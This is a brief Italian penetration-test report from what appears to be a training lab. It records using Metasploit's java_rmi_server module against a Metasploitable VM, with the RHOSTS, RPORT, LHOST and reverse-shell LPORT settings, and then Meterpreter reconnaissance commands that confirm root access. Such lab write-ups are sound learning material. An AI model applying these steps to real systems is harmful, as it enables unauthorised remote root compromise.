Report di Penetration Test

Report dei passaggi compiuti e risultati ottenuti:

1. Configurazione della Macchina Attaccante e Vittima:
   - Attaccante (KALI) IP: 192.168.11.111
   - Vittima (Metasploitable) IP: 192.168.11.112

2. Ricerca del Modulo di Exploit:
   - Modulo `exploit/multi/misc/java_rmi_server` identificato tramite Metasploit.

3. Selezione e Configurazione dell'Exploit:
   - RHOSTS: 192.168.11.112 (IP della vittima)
   - RPORT: 1099 (porta del servizio vulnerabile)
   - LHOST: 192.168.11.111 (IP dell'attaccante)
   - LPORT: 4444 (porta per la sessione inversa)

4. Esecuzione dell'Exploit:
   - Apertura di una sessione Meterpreter sulla macchina vittima.

5. Sessione Meterpreter e Raccolta di Informazioni:
   - `ipconfig` e `route` per informazioni di rete.
   - `sysinfo` per dettagli del sistema.
   - `getuid` conferma utente root.
   - `ps` per l'elenco dei processi.

Il test ha consentito l'accesso remoto come root alla macchina vittima.